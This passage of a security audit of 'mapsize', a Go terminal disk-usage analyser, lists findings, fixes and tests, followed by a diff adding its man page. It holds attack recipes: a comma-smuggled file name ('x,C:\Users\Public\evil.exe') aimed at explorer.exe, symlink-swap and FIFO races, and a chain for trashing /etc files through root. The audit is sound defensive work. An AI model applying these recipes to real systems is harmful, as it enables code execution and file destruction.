#### References
CWE-150 (improper neutralisation of escape sequences), CWE-77; also known as "pastejacking".
#### Assumptions / Limitations
A copy of a legitimate but unusual name is now refused. The info modal still shows the escaped form.
---
### Finding ID: MS-03
#### Title
Snapshot node amplification exhausts memory
#### Severity
Medium
#### Confidence
High (measured)
#### Affected Files / Components
`internal/snapshot/snapshot.go` `LoadFile`, `LoadLimit`, `bodyLimit`.
#### Description
The decompressed body was capped at `max(64 MiB, 64 × file size)`, but the node count was capped only at `2^31−1`. A crafted body made of repeating blocks (one directory followed by K−1 files whose parent deltas run 1…K−1) compresses extremely well and stays within the depth limit. Each node costs about 120 bytes of heap.
#### Evidence
A local measurement before the fix: a **804 KB** file decoded to a 59 MB body, **4,200,001 nodes**, and **497 MB `HeapInuse`**. Because the body limit grows 64× with file size, a ~20 MB crafted file could demand about 10 GB. ARCHITECTURE.md claimed "decompression bombs fail fast", which held for the body but not for allocated memory.
#### Attack Scenario
A colleague sends `server.msz`. Opening it with `mapsize server.msz` or `--compare` triggers the OOM killer, or swap pressure on a shared host.
#### Impact
Local denial of service. User interaction is required.
#### Recommendation and Safer Example
Bound the node count by the compressed size. Real snapshots use about 15 bytes per node (PERFORMANCE.md), so one node per byte leaves at least 15× headroom:
```go
func nodeLimit(fileSize int64) uint64 { return uint64(max(1<<20, fileSize)) }
```
`LoadFile` now passes `nodeLimit(fi.Size())`. The node-count error is now reported before the "no root node" check, which previously masked limit errors.
#### Suggested Tests
`TestNodeAmplificationLimited` (added): 1.2 M nodes in a 137 KB file are refused with a "node count" error, and the same data still loads through the unbounded `Load` path, which proves the input is otherwise valid.
#### References
CWE-400, CWE-409 (highly compressed data), CWE-770.
#### Assumptions / Limitations
The 1 Mi-node floor still lets a tiny file allocate about 120 MB, which is acceptable. `Load`/`LoadLimit` on an `io.Reader` keep `MaxNodes`, because no file size is known there; production code uses only `LoadFile`.
---
### Finding ID: MS-04
#### Title
Duplicate finder blocks forever on a file swapped for a FIFO
#### Severity
Low
#### Confidence
High (reproduced)
#### Affected Files / Components
`internal/duplicate/duplicate.go` `open`; new `internal/platform/open_unix.go`.
#### Description
Candidates were reopened by path with `os.Open`. Opening a FIFO for reading blocks until a writer appears. The `fi.Mode().IsRegular()` check ran after the open, too late. Context cancellation (Esc, Ctrl+C) cannot interrupt a blocked `open(2)`, so the duplicate view stayed on "hashing" forever and `--duplicates` never exited, which matters for cron jobs.
#### Evidence and Reproduction
`TestFindSkipsSwappedFIFO`: scan `a`, `b` and `c` (identical content), replace `b` with `mkfifo b` and `c` with a symlink to a FIFO, then run `Find`. It timed out after 5 s before the fix and finishes immediately afterwards with `Skipped == 2`.
#### Impact
Availability of the duplicate feature, and a hang of the non-interactive mode. Any user who can write in the scanned tree can trigger it.
#### Recommendation and Safer Example
```go
os.OpenFile(path, os.O_RDONLY|syscall.O_NOFOLLOW|syscall.O_NONBLOCK, 0)
```
`O_NONBLOCK` makes the FIFO open return at once, and the existing regular-file check then skips it. `O_NOFOLLOW` refuses a final symlink. Regular-file reads are unaffected.
#### Suggested Tests
Added as above. Consider a cancellation test for a slow reader as well.
#### References
CWE-367, CWE-833 (deadlock), CWE-400.
#### Assumptions / Limitations
Intermediate path components can still be swapped (MS-12). On Windows, `os.Open` remains unchanged.
---
### Finding ID: MS-05
#### Title
macOS volume trash directory not checked for symlinks or ownership
#### Severity
Low
#### Confidence
Medium (reasoned, not run on macOS)
#### Affected Files / Components
`internal/platform/ops_darwin.go` `Trash`.
#### Description
`os.MkdirAll("/Volumes/X/.Trashes/<uid>", 0700)` silently accepts an existing directory or a symlink to one that another user planted on a shared or ignore-ownership volume. Files would then be moved into a location the attacker controls. The Linux code already defended against this with `ensurePrivateDir`.
#### Attack Scenario
On a shared external volume, Mallory creates `.Trashes/501 -> /Volumes/X/mallory-readable/`. User 501 trashes `payroll.xlsx`, and Mallory can now read it.
#### Impact
Disclosure of trashed files.
#### Recommendation and Safer Example
`ensurePrivateDir` was moved to a shared `trash_unix.go` (linux or darwin). Darwin now calls it with `strict=true` for volume trashes, which requires a real directory owned by the user with no group or other access.
#### Suggested Tests
`TestEnsurePrivateDirRejectsSymlink` already covers the helper. A macOS CI job running the platform tests is recommended.
#### References
CWE-59, CWE-276.
#### Assumptions / Limitations
`.Trashes` itself is not checked. The final directory being 0700 and owned by the user limits exposure, but the parent's owner could still rename it.
---
### Finding ID: MS-06
#### Title
CI workflow runs with the default `GITHUB_TOKEN` permissions
#### Severity
Low
#### Confidence
High
#### Affected Files / Components
`.github/workflows/ci.yml`
#### Description
There was no `permissions:` block, so jobs received the repository or organisation default token scope, which is write access on older repositories. The workflow runs third-party actions and `go test` (which executes arbitrary test code and dependencies). A compromised action or dependency could therefore push to the repository.
#### Recommendation
`permissions: contents: read` was added at the workflow level.
#### References
CWE-250, OpenSSF Scorecard "Token-Permissions".
#### Assumptions / Limitations
Whether the repository default is read-only could not be checked from here.
---
### Finding ID: MS-07
#### Title
Snapshot `follow` metadata displayed unsanitised
#### Severity
Informational
#### Confidence
High
#### Affected Files / Components
`internal/tui/infoview.go` (`line("Follow symlinks", st.Follow, …)`)
#### Description
Every other snapshot metadata string (root, excludes, the `FromSnapshot` string) goes through `textutil.Sanitize`. `Follow` did not. The canvas's own control-character filter, together with zero-width clusters being dropped, meant this was **not exploitable**: hostile bytes were replaced with `?`. It is fixed for consistency with the documented invariant.
#### Recommendation
Use `textutil.Sanitize(st.Follow)` (done).
#### References
CWE-150.
#### Assumptions / Limitations
None.
---
### Finding ID: MS-08
#### Title
Scanner opens directories by path, so a symlink-swap race redirects the scan
#### Severity
Low
#### Confidence
Medium
#### Affected Files / Components
`internal/platform/readdir_linux.go`, `readdir_bsd.go` (`unix.Open(path, O_RDONLY|O_DIRECTORY)`), and `internal/scan/scan.go` `makeJob`/`worker`.
#### Description
Entries are `lstat`'d relative to the directory fd, but each pending directory is later opened by its full path. A directory that was a real directory at `lstat` time can be swapped for a symlink before the worker opens it, and the scan then descends into the target. With `--follow-symlinks=none` the visited set is disabled, so a fast toggler can make the scan revisit or inflate subtrees until `PATH_MAX`.
#### Attack Scenario
Eve toggles `/home/eve/a` between a directory and a symlink to `/`. Root's scan of `/home` then includes parts of `/`, so totals are wrong. With repeated wins it can grow memory and time, bounded by path length.
#### Impact
Inaccurate inventory, wasted time and memory. Nothing is read beyond metadata and nothing is written. However, the inventory could then offer root's files to trash under Eve's path; MS-01's owner check now blocks that.
#### Recommendation
Pass a "followed" bit with each job and open non-followed directories with `O_NOFOLLOW`. For a full fix, keep a parent fd per job and use `openat(parentfd, name, O_NOFOLLOW|O_DIRECTORY)`, or `openat2(RESOLVE_BENEATH|RESOLVE_NO_SYMLINKS)` on Linux 5.6+. Also compare `fstat(dirfd)` with the scanned (dev, ino).
#### Safer Example
```go
fd, err := unix.Open(path, unix.O_RDONLY|unix.O_DIRECTORY|unix.O_CLOEXEC|unix.O_NOFOLLOW, 0)
// then: unix.Fstat(fd,&st); if st.Dev!=want.Dev||st.Ino!=want.Ino { return errChanged }
```
#### Suggested Tests
A test with a toggling goroutine that asserts no node outside the root's device and inode set appears.
#### References
CWE-367, CWE-59.
#### Assumptions / Limitations
This was left open because a partial `O_NOFOLLOW` on the final component only does not stop swaps of intermediate components. The real fix is the fd-relative redesign, which is larger than an audit fix should be.
---
### Finding ID: MS-09
#### Title
Windows "reveal" passes hostile names to `explorer.exe`'s non-standard parser
#### Severity
Low
#### Confidence
Low
#### Affected Files / Components
`internal/platform/ops_windows.go` `Reveal` (`startDetached("explorer.exe", "/select,", path)`).
#### Description
`explorer.exe` parses its own command line and treats commas as switch separators. Go quotes arguments using MSVCRT rules, which Explorer may not honour. A filename containing `,` (legal on Windows) might be split into additional Explorer switches or paths. If Explorer is given a path to an executable, it launches it.
#### Attack Scenario (unverified)
A file named `x,C:\Users\Public\evil.exe` must exist for `checkAbs` to pass. Revealing it might make Explorer open or run `evil.exe`.
#### Recommendation
Verify on Windows. If the behaviour is confirmed, refuse paths containing `,` or `"`, or use `SHOpenFolderAndSelectItems` through COM, which takes a PIDL and does no parsing.
#### Suggested Tests
A manual Windows test with comma-bearing names.
#### References
CWE-88 (argument injection).
#### Assumptions / Limitations
This could not be tested here, so it was not changed.
---
### Finding ID: MS-10
#### Title
Actions pinned to mutable tags; release artifacts unsigned
#### Severity
Low
#### Confidence
High
#### Affected Files / Components
`.github/workflows/ci.yml` (`actions/checkout@v4`, `actions/setup-go@v5`) and the `Makefile` `release`/`brew-formula` targets.
#### Description
Tags can be moved by a compromised upstream. `make release` writes an unsigned `SHA256SUMS`. `brew-formula` trusts the first `curl` of GitHub's tarball, a trust-on-first-use approach. `nfpm` is fetched through `go run …@v2.41.1`, which is pinned and verified by the Go checksum database. That is good.
#### Recommendation
- Pin actions by commit SHA, with Dependabot keeping them current.
- Sign releases with Sigstore `cosign sign-blob` or minisign, and/or publish SLSA provenance through GitHub's attest-build-provenance.
- Build releases in CI rather than on a workstation.
#### References
SLSA L2/L3, OpenSSF Scorecard "Pinned-Dependencies" and "Signed-Releases".
#### Assumptions / Limitations
The commit SHAs could not be verified offline, so the workflow was not changed here.
---
### Finding ID: MS-11
#### Title
Trash identity check has residual gaps
#### Severity
Informational
#### Confidence
High
#### Affected Files / Components
`internal/platform/ops_windows.go` and `trash_unix.go`.
#### Description
- On Windows, `Expect` is ignored: the scan records no owner or inode, and `SHFileOperationW` works by path.
- On Unix, the check compares owner and file type, not inode, because `inventory.Node` does not store (dev, ino). A swapped parent that leads to a same-named item with the same owner and type is still accepted. Exploiting this needs a target owned by the attacker or by the item's original owner, so there is no cross-user gain, except where root-owned items sit in attacker-writable directories.
#### Recommendation
Store `Ino`/`Dev` for files that are candidates for trashing, or re-`Lstat` before confirmation and keep the parent fd open across the dialog. On Windows, use `IFileOperation` with a handle opened with `FILE_FLAG_OPEN_REPARSE_POINT` and check the file ID.
#### References
CWE-367.
#### Assumptions / Limitations
None.
---
### Finding ID: MS-12
#### Title
Duplicate hashing and reveal re-resolve paths through intermediate symlinks
#### Severity
Informational
#### Confidence
High
#### Affected Files / Components
`internal/duplicate/duplicate.go` (`open`) and `internal/platform/ops_*.go` (`Reveal`).
#### Description
After MS-04, the final component is not followed, but intermediate components are. An attacker can make the duplicate finder hash a different same-size file. The result is a false "identical" report about files the user could already read. Hash prefixes are only shown locally, so there is no disclosure to the attacker. Reveal can open a file manager at a different directory.
#### Recommendation
Use the same fd-relative traversal as MS-08 if that is implemented. Until then, the trash owner check (MS-01) prevents acting destructively on such a report.
#### References
CWE-59.
#### Assumptions / Limitations
None.
---
### Finding ID: MS-13
#### Title
Snapshots are integrity-checked but not authenticated, and contain host and user metadata
#### Severity
Informational
#### Confidence
High
#### Affected Files / Components
`internal/snapshot/snapshot.go`
#### Description
The SHA-256 trailer is unkeyed. It detects corruption, not forgery: anyone can craft a valid file, which is how the hostile tests work. Snapshots contain full paths, uid and gid, mtimes, and the hostname. The files are created 0600 (`os.CreateTemp`) and renamed atomically, which is good.
#### Recommendation
Document that snapshots are sensitive, and that their contents are only as trustworthy as their source. If provenance ever matters, add an optional Ed25519 signature; for long-lived archives, consider ML-DSA or a hybrid. Not otherwise needed.
#### References
CWE-345, CWE-359.
#### Assumptions / Limitations
None.
---
### Finding ID: MS-14
#### Title
JSON export is not terminal-sanitised and is lossy for non-UTF-8 names
#### Severity
Informational
#### Confidence
High
#### Affected Files / Components
`internal/export/export.go` `JSON`/`writeNode`.
#### Description
`encoding/json` escapes C0 characters and replaces invalid UTF-8 with U+FFFD. Raw ESC therefore cannot reach the terminal (verified), but bidi overrides pass through when `--json` is printed to a terminal. Separately, names that are not valid UTF-8 are irreversibly altered, so consumers cannot map entries back to real files.
#### Recommendation
Add a `name_b64` or `name_escaped` field for non-UTF-8 names. Bidi characters in JSON are acceptable for machine consumers.
#### References
CWE-116.
#### Assumptions / Limitations
None.
---
### Finding ID: MS-15
#### Title
Filter parser recursion is unbounded on deeply nested input
#### Severity
Informational
#### Confidence
Medium
#### Affected Files / Components
`internal/filter/parser.go` (`unary` → `or` recursion on `(` and `NOT`).
#### Description
The query is typed by the local user, so this is self-inflicted at most. Pasting about a million `(` characters could approach Go's 1 GB stack limit and crash the process (terminal restoration is not guaranteed on a fatal stack overflow). `FuzzParse` exists.
#### Recommendation
Reject queries longer than about 4 KiB or nested more than about 256 levels.
#### References
CWE-674.
#### Assumptions / Limitations
None.
## 8. Blackhat-Style Abuse Paths
1. **Delete a system file through an administrator's cleanup (MS-01, now fixed).**
- Prerequisite: an attacker-owned directory inside the scanned tree, and root trashing an item in it.
- Chain: plant a large file named like the target, then swap the parent directory for a symlink to `/etc`; root presses `d` and moves `/etc/<name>`.
- Breakpoint: the parent fd is pinned and the owner and type are checked. The remaining gap is a same-owner target (MS-11).
2. **Shell command execution by paste (MS-02, now fixed).**
- Prerequisite: the victim copies a path, from a live scan or from a shared snapshot, and pastes it into a shell without bracketed paste.
- Breakpoint: paths containing control or bidi characters are refused for copying.
3. **"Look at my snapshot" denial of service (MS-03, now fixed).** A tiny crafted `.msz` file caused an OOM; it is now bounded by the node limit.
4. **Wedge the nightly duplicate report (MS-04, now fixed).** `mkfifo` replaces a file that appeared in the scan, and `--duplicates` hung forever.
5. **Scan poisoning (MS-08, open).** Toggling symlinks inflates or falsifies inventory totals. The impact is limited to accuracy, because destructive actions are now identity-checked.
6. **Supply chain (MS-10, open).** A moved action tag or a compromised CI runner could produce tampered release archives with matching unsigned checksums. The breakpoints are SHA pinning and signed provenance.
## 9. Denial-of-Service and Resource Exhaustion Review
**Snapshot loading:**
- The body is limited to `max(64 MiB, 64×file)` and fails during streaming.
- The node count is now ≤ max(1 Mi, file bytes).
- Depth is ≤ 4096, which bounds recursion in the exporters.
- Names are ≤ 64 KiB, extensions ≤ 64 bytes, error messages ≤ 4 KiB, metadata JSON ≤ 16 MiB, and error records ≤ `MaxErrorRecords`.
- Sizes are ≤ 1 EiB, and aggregates are recomputed with saturating arithmetic.
- `gzip.Multistream(false)`; the decompression goroutine is unblocked by `pr.Close()` on early exit, so it does not leak.
**Scanner:**
- The worker pool is bounded (1–1024).
- The job and result channels are bounded, and the controller's select loop cannot deadlock (stress-tested with capacity 1).
- Directory reads are streamed in 1024-entry chunks.
- The write lock is held for at most 8192 entries at a time.
- The pending FIFO uses O(directories) × 8 bytes.
- The hard-link and visited maps grow with the number of inodes, which is inherent.
- Virtual filesystems (procfs and similar) are skipped, so `/proc/kcore` does not dominate a scan of `/`.
- The MS-08 race is the only input-driven amplification found.
**Duplicate finder:** a bounded worker pool (4), a 16 KiB sample buffer per worker, streaming SHA-256, and context checks between files and groups. The blocking FIFO open is fixed (MS-04). A reader blocked inside `read(2)` on a hung network filesystem still cannot be cancelled, which is inherent to file I/O.
**Filter:** RE2 runs in linear time, so there is no ReDoS. `filepath.Match` is polynomial. `Apply` checks `ctx` every 65,536 nodes. Unbounded nesting is covered by MS-15.
**TUI:** renders at most once per frame from a cache; resize storms cost one layout per frame; the 10 Hz tick runs only while needed.
**Exporters:** stream output, with recursion bounded by depth (4096 for snapshots, and the real filesystem depth for live scans).
## 10. Cryptography and Key Management Review
- **Algorithms in use:** SHA-256 for the snapshot integrity trailer and for duplicate content identity. Both are appropriate.
- Duplicate identity requires a full-file SHA-256 match after the size and sample stages. Size and sampling are never treated as identity.
- **No encryption, signatures, MACs, tokens, passwords, TLS or randomness for security purposes.** `math/rand` appears only in `cmd/treegen`, a deterministic generator of synthetic test trees, which is a correct use.
- **Weak algorithms:** none present (no MD5, SHA-1, DES, RC4 or ECB).
- **Constant-time comparison:** `bytes.Equal` on the snapshot checksum is fine, because the value is not secret.
- **TLS:** the only network access is `curl -fsSL` in `make brew-formula`, which uses verified HTTPS by default; no flag disables verification.
- **Key management:** there are no keys.
- **Post-quantum:** there is no confidentiality-bearing cryptography, so there is no harvest-now-decrypt-later exposure. SHA-256's roughly 128-bit collision resistance against quantum attack is adequate. If signed snapshots or releases are added, use Ed25519 now and consider ML-DSA or a hybrid for long-lived artifacts (MS-10, MS-13).
## 11. Secrets Lifecycle and In-Memory Credential Review
- **At rest:** a search of source, tests, config and history found no secrets, keys, tokens or credentials. `.gitignore` excludes `bin/`, `*.msz`, `*.prof` and `*.test`.
- **Configuration:** `config.json` holds only display and scan preferences. No environment variables carry secrets; the variables read are `XDG_*`, `NO_COLOR`, `COLORTERM`, `MAPSIZE_ASCII` and `MAPSIZE_DEBUG_PANIC`.
- **In transit:** there is no network traffic, except the curl call in the Makefile, which uses a public URL.
- **In memory:** the application holds no credentials, so zeroisation, mlock and core-dump controls are not applicable.
- The process does hold full path listings of the scanned tree. When running as root, a core dump could expose directory structure the dumping user cannot otherwise see. This is low risk, inherent, and no worse than `du`.
- **Diagnostic exposure:**
- `--cpuprofile` and `--memprofile` write pprof files to paths the user specifies. They are created through `os.Create`, so with mode 0666 minus umask. Heap profiles contain path strings.
- There is no network pprof or debug listener.
- `MAPSIZE_DEBUG_PANIC` only causes a deliberate panic to test terminal restoration.
- **Logs:** `--log` is opened 0600 in append mode. slog's text handler quotes values that contain control characters, so log injection is neutralised. Logged content is limited to paths and errors.
- **Clipboard:** OSC 52 sends paths to the terminal emulator, and over SSH to the local machine's clipboard. That is intended; MS-02 hardened it.
## 12. Memory and Resource Safety Review
- **Native and FFI:** there is no cgo; builds use `CGO_ENABLED=0`. The only `unsafe` use is in `ops_windows.go`:
- `shFileOpStruct` mirrors `SHFILEOPSTRUCTW` for 64-bit and is guarded by a `unsafe.Sizeof(uintptr(0)) != 8` check.
- `pFrom` is a double-NUL-terminated UTF-16 slice that stays alive through the call, because `u` is referenced by `op` on the stack.
- `syscall.UTF16FromString` rejects embedded NULs.
- The struct layout matches Win64 natural alignment.
- This is sound, with low residual risk on ARM64 Windows, which uses the same LLP64 layout.
- **Syscalls through x/sys:** `Statx`, `Fstatat`, `Renameat` and `Open` take Go-managed buffers, so there is no manual memory management.
- **Untrusted parsers:** the snapshot decoder validates every length against a maximum before `make([]byte, n)`. One subtlety remains: `bytesN` allocates `n` bytes before reading. With `MaxMetaLen` at 16 MiB and `MaxNameLen` at 64 KiB this is bounded per call, and on truncation the allocation is freed. Varint overflow is handled, and parent references are validated so that cycles are impossible.
- **Integer overflow:** sizes are capped at 2^60 so that sums cannot wrap. `Recompute` saturates. `uint32` counts could wrap above 4 billion files, which is unrealistic.
- **Unbounded growth:** covered in §9. The UI caches are bounded by data version and screen size.
## 13. Dependency and Supply-Chain Review
- **Direct dependencies:** `rivo/uniseg` v0.4.7 and `golang.org/x/sys` v0.48.0. **Indirect:** the Charm stack (`bubbletea/v2` v2.0.10, `ultraviolet`, which is a pre-release pseudo-version, `x/ansi`, `colorprofile`, and others), `go-runewidth`, `displaywidth`, `uax29`, `go-colorful`, `cancelreader`, `xo/terminfo`, and `x/sync`. All are mainstream and actively maintained, and `go.sum` pins them all.
- `govulncheck ./...` (latest) reports **no vulnerabilities**.
- **Install-time scripts:** Go modules have none. The `Makefile` `release` target uses `go run github.com/goreleaser/nfpm/v2/cmd/nfpm@v2.41.1`, which is version-pinned and checked against the checksum database.
- **CI:** read-only token (fixed, MS-06). Actions are pinned by tag (MS-10, open). Matrix cross-builds and race tests are present.
- **Packaging:** nfpm installs `/usr/bin/mapsize` and the man page with mode 0644. There are no maintainer scripts and no setuid bits. The Homebrew formula builds from source.
## 14. Authentication and Authorisation Review
There is no authentication, by design: mapsize runs with the invoking user's privileges.
The authorisation-relevant control is `--read-only`. It blocks trash (`requestTrash`), and trash is also refused in snapshot mode, while a scan is running, and for the root node. Reveal, copy and snapshot saving remain allowed; this is documented and none of them modify the scanned tree.
Running as root is the main privilege concern: MS-01 is now mitigated, and MS-08 and MS-11 are residual.
## 15. Input Validation and Output Encoding Review
- **Terminal output:**
- `textutil.Sanitize` escapes C0, DEL, C1 and bidi controls and replaces invalid UTF-8.
- The canvas rejects control characters a second time and drops zero-width clusters.
- Clusters whose width is ambiguous (ZWJ sequences) are replaced, so layout cannot be spoofed.
- Every CLI report path (`Table`, `Summary`, compare, duplicates, error messages in `main`) sanitises its output.
- The existing tests check that hostile names never put ESC or OSC sequences into a frame. Verified.
- **CSV:** paths are sanitised. **Formula injection was checked and is not possible:** the scan root is made absolute (`filepath.Abs`), so every row starts with `/` or a drive letter, never `= + - @`.
- **JSON:** see MS-14.
- **Trashinfo:** `Path=` is URL-escaped with `url.URL{Path}.EscapedPath()`, so newlines and `%` cannot inject keys.
- **Exec:** helpers are always given absolute paths (`checkAbs`) as single argv entries, so a path cannot be read as an option, and no shell is used. Windows is the exception, covered by MS-09.
- **Config:** colours are parsed strictly as `#rrggbb`, the refresh rate is clamped to 1–60, and worker counts are bounded to 1–1024.
- **Filter:** errors carry positions, and regex compile errors are reported to the user.
## 16. Frontend HTML/JavaScript Robustness Review
Not applicable: there is no HTML or JavaScript. The equivalent for this project is the terminal UI:
- Bubble Tea recovers panics in `Update` and `View`, and scanner panics are routed through `scan.OnPanic`, so the terminal is always restored. This is tested via `MAPSIZE_DEBUG_PANIC`.
- Async results (trash, duplicates, filter, save) are tagged with their tree or finder, and stale results are dropped (`trashDoneMsg.tree`, `dupDoneMsg.finder`).
- Lock discipline (one `RLock` per entry point) is documented and followed. A grep of `RLock` call sites matched the documented entry points.
## 17. Infrastructure and Deployment Review
There are no containers, servers or IaC. Packages install a single static binary that is not setuid. `make install` uses `install -Dm755`/`-Dm644` under `$(DESTDIR)$(PREFIX)`. Releases are built with `-trimpath -s -w` and `CGO_ENABLED=0`; reproducibility is plausible but not verified. Signing and provenance are covered by MS-10.
## 18. Logging, Monitoring, and Error Handling Review
- Errors are surfaced, not swallowed. Scan errors are classified, counted, listed in the UI, and shown in `Summary` with an "incomplete" warning.
- Error strings shown to the user go through `Sanitize`.
- Some `bw.Write` return values are ignored in `Save` and `JSON`, but the final `Flush` reports the sticky error, so this is safe.
- `pprof.StartCPUProfile` errors are ignored, which is a minor debugging-only issue.
- The trash path removes its `.trashinfo` file on failure (now tested).
- Logging is opt-in, the log file is 0600, and output is quoted.
## 19. Test Coverage and Security Regression Gaps
**Existing coverage:** hostile snapshots (depth, bomb, sizes, metadata), fuzzers (`FuzzLoad`, `FuzzSquarify`, `FuzzParse`), scan stress under backpressure, terminal-injection frames, and trash symlink and permission cases.
**Added in this audit:**
- `TestTrashRefusesSwappedItem`
- `TestCopyRefusesControlCharacters`
- `TestFindSkipsSwappedFIFO`
- `TestNodeAmplificationLimited`
**Gaps:**
- No macOS or Windows CI run of the platform trash and reveal code (the CI matrix runs `go test`, but the platform tests are Linux-only).
- No race test with a symlink toggler for the scanner (MS-08).
- No test for `--read-only` blocking every mutating key.
- No test for parser nesting depth (MS-15).
- No `config.Load` tests with malformed values.
## 20. Prioritised Remediation Plan
- **Immediate (done):** MS-01, MS-02, MS-03, MS-04, MS-05, MS-06, MS-07.
- **Short term:**
- Verify MS-09 on Windows and refuse comma paths, or switch to `SHOpenFolderAndSelectItems`.
- Pin actions by SHA and add Dependabot (MS-10).
- Cap filter query length and nesting (MS-15).
- **Medium term:**
- Scan directories fd-relatively with (dev, ino) verification (MS-08), and reuse that traversal for duplicate hashing and reveal (MS-12).
- Store the inode identity of trash candidates (MS-11).
- Add macOS and Windows platform tests to CI.
- **Long term:**
- Signed releases and SLSA provenance (MS-10).
- Optional signed snapshots (MS-13).
- Lossless JSON names (MS-14).
## 21. False Positives / Needs Manual Verification
- **MS-09:** needs a Windows run.
- **MS-05:** reasoned for macOS but not executed there.
- **Checked and not issues:**
- CSV formula injection (the root is absolute).
- Log injection (slog quotes values).
- ReDoS (RE2).
- Varint overflow and cycle creation in snapshots (validated).
- Shell injection (no shell anywhere).
- ESC reaching the terminal through JSON (escaped by `encoding/json`).
- The trashinfo `Path=` key (URL-escaped).
- The snapshot temporary file (0600, atomic rename, removed on failure).
## 22. Final Notes
**Residual risk** is concentrated in path re-resolution after the scan (MS-08, MS-11, MS-12) when mapsize runs privileged over trees that other users can write to. The recommended operating practice until the fd-relative redesign: as root, prefer `--read-only` for exploration, and trash items only in trees that untrusted users cannot write to.
**Limitations of this audit:**
- Only Linux code was executed.
- macOS and Windows code was reviewed and cross-compiled with `go vet` only.
- Repository settings on GitHub were not visible.
- The user committed `ab3ff7b` (Homebrew formula) concurrently during the audit; it was reviewed and is unaffected.
+456
View File
@@ -0,0 +1,456 @@
.\" Manual page for mapsize. View with: man -l docs/mapsize.1
.TH MAPSIZE 1 "October 2026" "mapsize 1.2.0" "User Commands"
.SH NAME
mapsize \- interactive terminal disk usage analyser with a navigable treemap
.SH SYNOPSIS
.B mapsize
[\fIOPTIONS\fR] [\fIPATH\fR]
.br
.B mapsize
[\fIOPTIONS\fR] \fISNAPSHOT\fR.msz
.br
.B mapsize
\fB\-\-compare\fR [\fIOPTIONS\fR] \fIOLD\fR.msz \fINEW\fR.msz
.br
.B mapsize
\fIPATH\fR {\fB\-\-top\fR \fIN\fR | \fB\-\-largest\-files\fR \fIN\fR | \fB\-\-json\fR | \fB\-\-csv\fR | \fB\-\-no\-ui\fR} [\fIOPTIONS\fR]
.SH DESCRIPTION
.B mapsize
scans a directory tree and shows its disk usage as a live, space-filling
treemap that fills the terminal. Each rectangle's area is proportional to the
size of a file or directory; colours show file categories. The display
populates while the scan runs and stays interactive throughout.
.PP
Arrow keys move spatially between rectangles, Enter shows details, Space
zooms into a directory and Backspace zooms out. Other views list directory
contents, file types, top-N lists, scan errors, duplicate files and snapshot
differences. A query language filters the treemap to matching data.
.PP
With no \fIPATH\fR the current directory is scanned. If \fIPATH\fR is a
snapshot file written by
.BR mapsize ,
it is opened instead of scanning. Options may appear before or after
positional arguments.
.PP
When any report option (\fB\-\-no\-ui\fR, \fB\-\-json\fR, \fB\-\-csv\fR,
\fB\-\-top\fR, \fB\-\-largest\-files\fR, \fB\-\-duplicates\fR) is given,
.B mapsize
runs non-interactively and writes to standard output, which makes it
suitable for scripts, cron jobs and SSH sessions without a full terminal.
Progress is written to standard error when it is a terminal.
.SH OPTIONS
.SS Scanning
.TP
.BI \-\-workers " MODE"
Number of concurrent directory readers:
.BR conservative " (2), " balanced " (default; min(8, 2\(mu CPUs)), " aggressive
(min(64, 8\(mu CPUs)), or a number from 1 to 1024. More is not always faster:
on rotational disks 2\(en4 workers are often best.
.TP
.BI \-\-follow\-symlinks " MODE"
.B none
(default) treats symbolic links as leaves.
.B same\-filesystem
follows links to directories on the same filesystem;
.B all
follows every directory link. Loops are detected and nothing is counted
twice. Ignored (forced to \fBnone\fR) on platforms without inode identity,
such as Windows.
.TP
.BR \-\-one\-file\-system ", " \-x
Do not descend into directories on a different filesystem than the scan
root. Without it, other filesystems are scanned (as
.BR du (1)
does) and marked as mount points; Linux virtual filesystems (proc, sysfs,
cgroup, debugfs, \&...) are never scanned.
.TP
.BI \-\-exclude " PATTERN"
Skip matching entries. A pattern containing a path separator matches the
absolute path (relative patterns are resolved against the working
directory) and everything beneath it; otherwise it is a shell glob matched
against the entry name. May be repeated. Exclusions are always shown in the
interface and reports.
.TP
.BI \-\-scan " PATH"
Path to scan; an alternative to the positional argument.
.SS Display
.TP
.B \-\-apparent
Size by logical (apparent) size instead of allocated disk usage.
.TP
.B \-\-si
Use SI units (kB, MB, GB; powers of 1000) instead of the default IEC units
(KiB, MiB, GiB; powers of 1024). The two are never mixed.
.TP
.BI \-\-theme " NAME"
Colour theme:
.BR default ", " dark ", " high\-contrast " or " mono .
.TP
.BI \-\-color " DEPTH"
Override colour detection:
.BR auto " (default), " truecolor ", " 256 ", " 16 " or " none .
Useful over SSH, where \fBCOLORTERM\fR is often not forwarded.
.TP
.B \-\-no\-mouse
Disable mouse support. Everything works from the keyboard.
.TP
.B \-\-read\-only
Disable every action that modifies the filesystem (trash and delete) and
show \fBREAD ONLY\fR in the header. Saving a snapshot file is still
allowed. This does not make
.B mapsize
a forensic acquisition tool: scanning uses ordinary filesystem calls, and
duplicate detection reads file contents, which may update access times.
.SS Reports
.TP
.B \-\-no\-ui
Scan without the interactive interface and print a summary.
.TP
.BI \-\-top " N"
Print the \fIN\fR largest entries directly under the root.
.TP
.BI \-\-largest\-files " N"
Print the \fIN\fR largest files anywhere in the tree.
.TP
.B \-\-json
Print the inventory as nested JSON, with scan metadata and error counts.
.TP
.B \-\-csv
Print one CSV row per entry: path, type, size, allocated, files, dirs,
errors, modified, flags. Paths are escaped so the output is safe to print
to a terminal.
.TP
.BI \-\-depth " N"
Limit \fB\-\-json\fR and \fB\-\-csv\fR to \fIN\fR levels (default \-1,
unlimited).
.TP
.B \-\-duplicates
Find files with identical content and print verified groups (see
\fBDUPLICATES\fR).
.SS Snapshots
.TP
.BI \-\-save " FILE" "\fR, \fP\-\-snapshot " FILE
Save a snapshot when the scan completes (not if it was cancelled).
.TP
.BI \-\-load " FILE"
Open a snapshot instead of scanning.
.TP
.B \-\-compare
Compare two snapshots given as positional arguments, \fIOLD\fR then
\fINEW\fR. Opens the interface (read-only) with growth and shrinkage
colouring, or prints the most significant changes with \fB\-\-no\-ui\fR
(\fB\-\-top\fR sets how many; default 30).
.SS Diagnostics
.TP
.BI \-\-log " FILE"
Append a log to \fIFILE\fR without disturbing the interface. Full paths are
logged only at \fBdebug\fR level and above.
.TP
.BI \-\-log\-level " LEVEL"
.BR error ", " warn ", " info " (default), " debug " or " trace .
.TP
.BI \-\-cpuprofile " FILE"
Write a Go CPU profile.
.TP
.BI \-\-memprofile " FILE"
Write a Go heap profile on exit.
.TP
.B \-\-version
Print the version and exit.
.TP
.BR \-h ", " \-\-help
Print usage and exit.
.SH KEYS
.SS Navigation
.TP 18
.BR "\(ua \(da \(<- \(->" ", " "h j k l"
Move to the neighbouring rectangle in that direction (lists: move the
cursor).
